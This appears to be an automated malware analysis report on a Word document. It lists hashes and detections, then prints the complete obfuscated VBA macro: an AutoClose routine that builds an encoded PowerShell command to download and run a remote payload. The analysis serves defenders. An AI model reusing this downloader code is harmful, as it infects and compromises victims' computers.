Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2c21298c049abff…

MALICIOUS

Office (OLE)

97.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 44bbcb2abf1e0bbcdd104d61bc02fdec SHA-1: 1f0cfd80e00751e7a4973957e4b1df39ffd40251 SHA-256: b2c21298c049abff02123316be097f2d812a4b0412b890c5a25c4a2d000ff0a7
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains VBA macros with an AutoClose event, which is a common technique for executing malicious code upon document closure. The script explicitly calls cmd.exe with encoded arguments, indicating an attempt to download and execute a secondary payload. This behavior is consistent with a macro-based downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6720548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6720548-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Call VBA.Interaction.Shell(KyGoruGAxUWawYXfHxIaomIqEL, (10 / 10) - 1)
Dim cAQybyDeKiraiiAqiufoCjIveiaGyvAdal(2)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    rUBECuWAhYupyrUXIoWUwaWEQebiraTA_1(1) = PeBAqEguMoGagidYxo & CStr("8875")
NINAreXAtimYrIzogXayPUiIpeVetIpYHy = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A …
Dim weNUDiKiFErEdAPoTIshyvahOTiWIzYi(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const faDoJAqiDunItQOlAmOgBunEvtaZocAFukY = 0
Sub AutoClose()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14570 bytes
SHA-256: 7037d7f10c9dbf30988633923002586b3795364087c4b2ec394af53130626b6a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const faDoJAqiDunItQOlAmOgBunEvtaZocAFukY = 0
Sub AutoClose()
On Error Resume Next
Dim NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu(2)
Dim NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu_6(2)
If InStr(6, "boWIlYLuRACihaGe", "NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu") Then
  NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu(0) = InStrRev("boWIlYLuRACihaGe", "NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu")
  IsError CVErr(5376)
End If
IsError CVErr(106)
If Len(Oct(5376)) > 6 Then
 NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu(1) = Hex(10 ^ 6)
End If
NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu_6(0) = Now
VarType IsNumeric(CInt("5376"))
NunEXYCIzULUMOWOBowhoHEFAxEKyJEsySu_6(1) = boWIlYLuRACihaGe & CStr("5376")
Dim rUBECuWAhYupyrUXIoWUwaWEQebiraTA(2)
Dim rUBECuWAhYupyrUXIoWUwaWEQebiraTA_1(2)
If InStr(1, "PeBAqEguMoGagidYxo", "rUBECuWAhYupyrUXIoWUwaWEQebiraTA") Then
  rUBECuWAhYupyrUXIoWUwaWEQebiraTA(0) = InStrRev("PeBAqEguMoGagidYxo", "rUBECuWAhYupyrUXIoWUwaWEQebiraTA")
  IsError CVErr(8875)
End If
IsError CVErr(101)
If Len(Oct(8875)) > 1 Then
 rUBECuWAhYupyrUXIoWUwaWEQebiraTA(1) = Hex(10 ^ 1)
End If
rUBECuWAhYupyrUXIoWUwaWEQebiraTA_1(0) = Now
VarType IsNumeric(CInt("8875"))
rUBECuWAhYupyrUXIoWUwaWEQebiraTA_1(1) = PeBAqEguMoGagidYxo & CStr("8875")
NINAreXAtimYrIzogXayPUiIpeVetIpYHy = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A"
Dim weNUDiKiFErEdAPoTIshyvahOTiWIzYi(2)
Dim weNUDiKiFErEdAPoTIshyvahOTiWIzYi_1(2)
If InStr(1, "QYziaIcihaXyCO", "weNUDiKiFErEdAPoTIshyvahOTiWIzYi") Then
  weNUDiKiFErEdAPoTIshyvahOTiWIzYi(0) = InStrRev("QYziaIcihaXyCO", "weNUDiKiFErEdAPoTIshyvahOTiWIzYi")
  IsError CVErr(5859)
End If
IsError CVErr(111)
If Len(Oct(5859)) > 1 Then
 weNUDiKiFErEdAPoTIshyvahOTiWIzYi(1) = Hex(11 ^ 1)
End If
weNUDiKiFErEdAPoTIshyvahOTiWIzYi_1(0) = Now
VarType IsNumeric(CInt("5859"))
weNUDiKiFErEdAPoTIshyvahOTiWIzYi_1(1) = QYziaIcihaXyCO & CStr("5859")

Dim rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX(2)
Dim rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX_4(2)
If InStr(4, "WugUTYdySyHotYVzEGaK", "rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX") Then
  rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX(0) = InStrRev("WugUTYdySyHotYVzEGaK", "rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX")
  IsError CVErr(50)
End If
IsError CVErr(134)
If Len(Oct(50)) > 4 Then
 rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX(1) = Hex(13 ^ 4)
End If
rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX_4(0) = Now
VarType IsNumeric(CInt("50"))
rITapeKOjIVudUmEveHoXiDwChuzymoCIfYX_4(1) = WugUTYdySyHotYVzEGaK & CStr("50")
Dim FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA(2)
Dim FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA_7(2)
If InStr(7, "iaMUVEhovuc", "FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA") Then
  FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA(0) = InStrRev("iaMUVEhovuc", "FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA")
  IsError CVErr(6256)
End If
IsError CVErr(137)
If Len(Oct(6256)) > 7 Then
 FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA(1) = Hex(13 ^ 7)
End If
FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA_7(0) = Now
VarType IsNumeric(CInt("6256"))
FYpyQaoHEkUPiWEjolaVAPykSidUxYNypA_7(1) = iaMUVEhovuc & CStr("6256")
DuJvdYtizycucYaYLKiBEROxnYRA = "^L^w^B^3^A^G^8^A^Y^Q^B^0^A^G^k^A^b^g^B^r^A^" + Chr(2 + (35 * 2)) + "^c^A^b^w^B^v^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^A^A^P^w^B^s^A^D^0^A^Z^A^B^v^A^G^4^A^Y^Q^B^" + Chr(1 + 10 + (75) + 25) + "^A^D^U^A^L^g^B^4^A^G^E^A^c^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^" + Chr(1 + 10 + (75) + 25) + "^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A"


Dim cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG(2)
Dim cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG_2(2)
If InStr(2, "tiWoaIVceCuN", "cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG") Then
  cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG(0) = InStrRev("tiWoaIVceCuN", "cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG")
  IsError CVErr(856)
End If
IsError CVErr(112)
If Len(Oct(856)) > 2 Then
 cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG(1) = Hex(11 ^ 2)
End If
cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG_2(0) = Now
VarType IsNumeric(CInt("856"))
cUKukymInoKahYVawUsUhWYQImEmaWirIaipEAG_2(1) = tiWoaIVceCuN & CStr("856")
Dim jymEzIvyxomYGUPOsExeKAwIwy(2)
Dim jymEzIvyxomYGUPOsExeKAwIwy_1(2)
If InStr(1, "nonAvIzonaAWEFytis", "jymEzIvyxomYGUPOsExeKAwIwy") Then
  jymEzIvyxomYGUPOsExeKAwIwy(0) = InStrRev("nonAvIzonaAWEFytis", "jymEzIvyxomYGUPOsExeKAwIwy")
  IsError CVErr(7564)
End If
IsError CVErr(111)
If Len(Oct(7564)) > 1 Then
 jymEzIvyxomYGUPOsExeKAwIwy(1) = Hex(11 ^ 1)
End If
jymEzIvyxomYGUPOsExeKAwIwy_1(0) = Now
VarType IsNumeric(CInt("7564"))
jymEzIvyxomYGUPOsExeKAwIwy_1(1) = nonAvIzonaAWEFytis & CStr("7564")
CYZIfYxUrAXARyqIFXXosYQUFOmuizyb = "^Y^Q^B^l^A^D^Q^A^Y^w^A^5^A^D^Q^A^M^Q^B^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^" + Chr(2 + (35 * 2)) + "^Q^A^Y^Q^B^y^A^" + Chr(2 + (35 * 2)) + "^Q^A^L^Q^B^Q^A^" + Chr(2 + (35 * 2)) + "^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^G^E^A^Z^Q^A^0^A^G^M^A^O^Q^A^0^A^D^E^A^Z^Q^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^E^U^A^e^A^B^p^A^" + Chr(2 + (35 * 2)) + "^Q^A"
Dim riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv(2)
Dim riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv_10(2)
If InStr(10, "maVagODALosYpAyWyDe", "riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv") Then
  riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv(0) = InStrRev("maVagODALosYpAyWyDe", "riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv")
  IsError CVErr(7297)
End If
IsError CVErr(1310)
If Len(Oct(7297)) > 10 Then
 riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv(1) = Hex(13 ^ 10)
End If
riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv_10(0) = Now
VarType IsNumeric(CInt("7297"))
riaOiExiGYHliJOecUMtyRYweMuqURozebADojifYv_10(1) = maVagODALosYpAyWyDe & CStr("7297")


sApYNOdodyTIbeWizuVeloiICHEaaIh = "^O^w^A^="
Dim EhQuiOgOcItedAtINidzudaREHecOroJyVimuP(2)
Dim EhQuiOgOcItedAtINidzudaREHecOroJyVimuP_4(2)
If InStr(4, "qelIDYdAlXYzeKEquparuC", "EhQuiOgOcItedAtINidzudaREHecOroJyVimuP") Then
  EhQuiOgOcItedAtINidzudaREHecOroJyVimuP(0) = InStrRev("qelIDYdAlXYzeKEquparuC", "EhQuiOgOcItedAtINidzudaREHecOroJyVimuP")
  IsError CVErr(8384)
End If
IsError CVErr(104)
If Len(Oct(8384)) > 4 Then
 EhQuiOgOcItedAtINidzudaREHecOroJyVimuP(1) = Hex(10 ^ 4)
End If
EhQuiOgOcItedAtINidzudaREHecOroJyVimuP_4(0) = Now
VarType IsNumeric(CInt("8384"))
EhQuiOgOcItedAtINidzudaREHecOroJyVimuP_4(1) = qelIDYdAlXYzeKEquparuC & CStr("8384")


Dim qonETIHefuWUvfYLIjEqIdEJE(2)
Dim qonETIHefuWUvfYLIjEqIdEJE_4(2)
If InStr(4, "TSaTaNee", "qonETIHefuWUvfYLIjEqIdEJE") Then
  qonETIHefuWUvfYLIjEqIdEJE(0) = InStrRev("TSaTaNee", "qonETIHefuWUvfYLIjEqIdEJE")
  IsError CVErr(1834)
End If
IsError CVErr(104)
If Len(Oct(1834)) > 4 Then
 qonETIHefuWUvfYLIjEqIdEJE(1) = Hex(10 ^ 4)
End If
qonETIHefuWUvfYLIjEqIdEJE_4(0) = Now
VarType IsNumeric(CInt("1834"))
qonETIHefuWUvfYLIjEqIdEJE_4(1) = TSaTaNee & CStr("1834")
Call gzifuGoGWAaonameVuWxAleiGiZOiYgUtEJPoseh(NINAreXAtimYrIzogXayPUiIpeVetIpYHy & "", DuJvdYtizycucYaYLKiBEROxnYRA + CStr(""), CYZIfYxUrAXARyqIFXXosYQUFOmuizyb, "yoq1duqp2710suq", sApYNOdodyTIbeWizuVeloiICHEaaIh)
Dim teruJUwAReraBGyiyZUVaruXYt(2)
Dim teruJUwAReraBGyiyZUVaruXYt_5(2)
If InStr(5, "LUTaShaBAraHineqILeZii", "teruJUwAReraBGyiyZUVaruXYt") Then
  teruJUwAReraBGyiyZUVaruXYt(0) = InStrRev("LUTaShaBAraHineqILeZii", "teruJUwAReraBGyiyZUVaruXYt")
  IsError CVErr(1340)
End If
IsError CVErr(105)
If Len(Oct(1340)) > 5 Then
 teruJUwAReraBGyiyZUVaruXYt(1) = Hex(10 ^ 5)
End If
teruJUwAReraBGyiyZUVaruXYt_5(0) = Now
VarType IsNumeric(CInt("1340"))
teruJUwAReraBGyiyZUVaruXYt_5(1) = LUTaShaBAraHineqILeZii & CStr("1340")

Dim kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe(2)
Dim kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe_7(2)
If InStr(7, "rjolmetaxas", "kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe") Then
  kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe(0) = InStrRev("rjolmetaxas", "kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe")
  IsError CVErr(2096)
End If
IsError CVErr(107)
If Len(Oct(2096)) > 7 Then
 kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe(1) = Hex(10 ^ 7)
End If
kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe_7(0) = Now
VarType IsNumeric(CInt("2096"))
kOHoieUroaEruJomQoRacYMOQAXAwIzAHepe_7(1) = rjolmetaxas & CStr("2096")
Dim zYtYxeRaPTEJuxEvOWomIToTonATahiHifA(2)
Dim zYtYxeRaPTEJuxEvOWomIToTonATahiHifA_3(2)
If InStr(3, "QYnOMUNYMamOSinOfaFuzUPy", "zYtYxeRaPTEJuxEvOWomIToTonATahiHifA") Then
  zYtYxeRaPTEJuxEvOWomIToTonATahiHifA(0) = InStrRev("QYnOMUNYMamOSinOfaFuzUPy", "zYtYxeRaPTEJuxEvOWomIToTonATahiHifA")
  IsError CVErr(4510)
End If
IsError CVErr(113)
If Len(Oct(4510)) > 3 Then
 zYtYxeRaPTEJuxEvOWomIToTonATahiHifA(1) = Hex(11 ^ 3)
End If
zYtYxeRaPTEJuxEvOWomIToTonATahiHifA_3(0) = Now
VarType IsNumeric(CInt("4510"))
zYtYxeRaPTEJuxEvOWomIToTonATahiHifA_3(1) = QYnOMUNYMamOSinOfaFuzUPy & CStr("4510")
End Sub
Sub gzifuGoGWAaonameVuWxAleiGiZOiYgUtEJPoseh(NINAreXAtimYrIzogXayPUiIpeVetIpYHy, DuJvdYtizycucYaYLKiBEROxnYRA, CYZIfYxUrAXARyqIFXXosYQUFOmuizyb, peNiiydUaomPLysOGykUjiPytuxelutOKy, sApYNOdodyTIbeWizuVeloiICHEaaIh)
On Error Resume Next

Dim VImYNUJYwyJUruZamAWEDcJOCOwimeRacI(2)
Dim VImYNUJYwyJUruZamAWEDcJOCOwimeRacI_10(2)
If InStr(10, "NAsAfIXoroPuBaXyaejAK", "VImYNUJYwyJUruZamAWEDcJOCOwimeRacI") Then
  VImYNUJYwyJUruZamAWEDcJOCOwimeRacI(0) = InStrRev("NAsAfIXoroPuBaXyaejAK", "VImYNUJYwyJUruZamAWEDcJOCOwimeRacI")
  IsError CVErr(3881)
End If
IsError CVErr(1110)
If Len(Oct(3881)) > 10 Then
 VImYNUJYwyJUruZamAWEDcJOCOwimeRacI(1) = Hex(11 ^ 10)
End If
VImYNUJYwyJUruZamAWEDcJOCOwimeRacI_10(0) = Now
VarType IsNumeric(CInt("3881"))
VImYNUJYwyJUruZamAWEDcJOCOwimeRacI_10(1) = NAsAfIXoroPuBaXyaejAK & CStr("3881")
Dim TIaoHujeKACIkAXGcoxEaugEjaRom(2)
Dim TIaoHujeKACIkAXGcoxEaugEjaRom_1(2)
If InStr(1, "aYzMyGukXU", "TIaoHujeKACIkAXGcoxEaugEjaRom") Then
  TIaoHujeKACIkAXGcoxEaugEjaRom(0) = InStrRev("aYzMyGukXU", "TIaoHujeKACIkAXGcoxEaugEjaRom")
  IsError CVErr(4240)
End If
IsError CVErr(101)
If Len(Oct(4240)) > 1 Then
 TIaoHujeKACIkAXGcoxEaugEjaRom(1) = Hex(10 ^ 1)
End If
TIaoHujeKACIkAXGcoxEaugEjaRom_1(0) = Now
VarType IsNumeric(CInt("4240"))
TIaoHujeKACIkAXGcoxEaugEjaRom_1(1) = aYzMyGukXU & CStr("4240")

Dim XyDaleMIvEcYaYcAdELoZeJLaCEgiBX(2)
Dim XyDaleMIvEcYaYcAdELoZeJLaCEgiBX_9(2)
If InStr(9, "FYLorpLuKaHAGAKodUGYM", "XyDaleMIvEcYaYcAdELoZeJLaCEgiBX") Then
  XyDaleMIvEcYaYcAdELoZeJLaCEgiBX(0) = InStrRev("FYLorpLuKaHAGAKodUGYM", "XyDaleMIvEcYaYcAdELoZeJLaCEgiBX")
  IsError CVErr(2358)
End If
IsError CVErr(139)
If Len(Oct(2358)) > 9 Then
 XyDaleMIvEcYaYcAdELoZeJLaCEgiBX(1) = Hex(13 ^ 9)
End If
XyDaleMIvEcYaYcAdELoZeJLaCEgiBX_9(0) = Now
VarType IsNumeric(CInt("2358"))
XyDaleMIvEcYaYcAdELoZeJLaCEgiBX_9(1) = FYLorpLuKaHAGAKodUGYM & CStr("2358")
Dim SekyjuWeGUlimEweaOBiVedOpaZewmysaKex(2)
Dim SekyjuWeGUlimEweaOBiVedOpaZewmysaKex_7(2)
If InStr(7, "qeCeloLUJOli", "SekyjuWeGUlimEweaOBiVedOpaZewmysaKex") Then
  SekyjuWeGUlimEweaOBiVedOpaZewmysaKex(0) = InStrRev("qeCeloLUJOli", "SekyjuWeGUlimEweaOBiVedOpaZewmysaKex")
  IsError CVErr(6413)
End If
IsError CVErr(107)
If Len(Oct(6413)) > 7 Then
 SekyjuWeGUlimEweaOBiVedOpaZewmysaKex(1) = Hex(10 ^ 7)
End If
SekyjuWeGUlimEweaOBiVedOpaZewmysaKex_7(0) = Now
VarType IsNumeric(CInt("6413"))
SekyjuWeGUlimEweaOBiVedOpaZewmysaKex_7(1) = qeCeloLUJOli & CStr("6413")
  KyGoruGAxUWawYXfHxIaomIqEL = Join(Array(NINAreXAtimYrIzogXayPUiIpeVetIpYHy, DuJvdYtizycucYaYLKiBEROxnYRA, CYZIfYxUrAXARyqIFXXosYQUFOmuizyb, sApYNOdodyTIbeWizuVeloiICHEaaIh), "")
Dim penAsENaMOsIqYJAPHOQywikaienyXyL(2)
Dim penAsENaMOsIqYJAPHOQywikaienyXyL_10(2)
If InStr(10, "QaZAdsePdUhAN", "penAsENaMOsIqYJAPHOQywikaienyXyL") Then
  penAsENaMOsIqYJAPHOQywikaienyXyL(0) = InStrRev("QaZAdsePdUhAN", "penAsENaMOsIqYJAPHOQywikaienyXyL")
  IsError CVErr(1800)
End If
IsError CVErr(1110)
If Len(Oct(1800)) > 10 Then
 penAsENaMOsIqYJAPHOQywikaienyXyL(1) = Hex(11 ^ 10)
End If
penAsENaMOsIqYJAPHOQywikaienyXyL_10(0) = Now
VarType IsNumeric(CInt("1800"))
penAsENaMOsIqYJAPHOQywikaienyXyL_10(1) = QaZAdsePdUhAN & CStr("1800")
Dim poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun(2)
Dim poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun_2(2)
If InStr(2, "EBBisODiDOw", "poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun") Then
  poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun(0) = InStrRev("EBBisODiDOw", "poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun")
  IsError CVErr(1854)
End If
IsError CVErr(122)
If Len(Oct(1854)) > 2 Then
 poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun(1) = Hex(12 ^ 2)
End If
poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun_2(0) = Now
VarType IsNumeric(CInt("1854"))
poLUqojEdiFIpiNiyxIwuflEHAVUbYWwun_2(1) = EBBisODiDOw & CStr("1854")
  
  Call VBA.Interaction.Shell(KyGoruGAxUWawYXfHxIaomIqEL, (10 / 10) - 1)
Dim cAQybyDeKiraiiAqiufoCjIveiaGyvAdal(2)
Dim cAQybyDeKiraiiAqiufoCjIveiaGyvAdal_10(2)
If InStr(10, "WiQIzazubeTyxyTYrosUMuc", "cAQybyDeKiraiiAqiufoCjIveiaGyvAdal") Then
  cAQybyDeKiraiiAqiufoCjIveiaGyvAdal(0) = InStrRev("WiQIzazubeTyxyTYrosUMuc", "cAQybyDeKiraiiAqiufoCjIveiaGyvAdal")
  IsError CVErr(6817)
End If
IsError CVErr(1310)
If Len(Oct(6817)) > 10 Then
 cAQybyDeKiraiiAqiufoCjIveiaGyvAdal(1) = Hex(13 ^ 10)
End If
cAQybyDeKiraiiAqiufoCjIveiaGyvAdal_10(0) = Now
VarType IsNumeric(CInt("6817"))
cAQybyDeKiraiiAqiufoCjIveiaGyvAdal_10(1) = WiQIzazubeTyxyTYrosUMuc & CStr("6817")
Dim EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe(2)
Dim EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe_9(2)
If InStr(9, "JRAxutuKAhUSugagemi", "EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe") Then
  EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe(0) = InStrRev("JRAxutuKAhUSugagemi", "EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe")
  IsError CVErr(34)
End If
IsError CVErr(119)
If Len(Oct(34)) > 9 Then
 EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe(1) = Hex(11 ^ 9)
End If
EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe_9(0) = Now
VarType IsNumeric(CInt("34"))
EqizicYroaEqUToWaiazoFGEvezeqoqtEHWe_9(1) = JRAxutuKAhUSugagemi & CStr("34")



End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.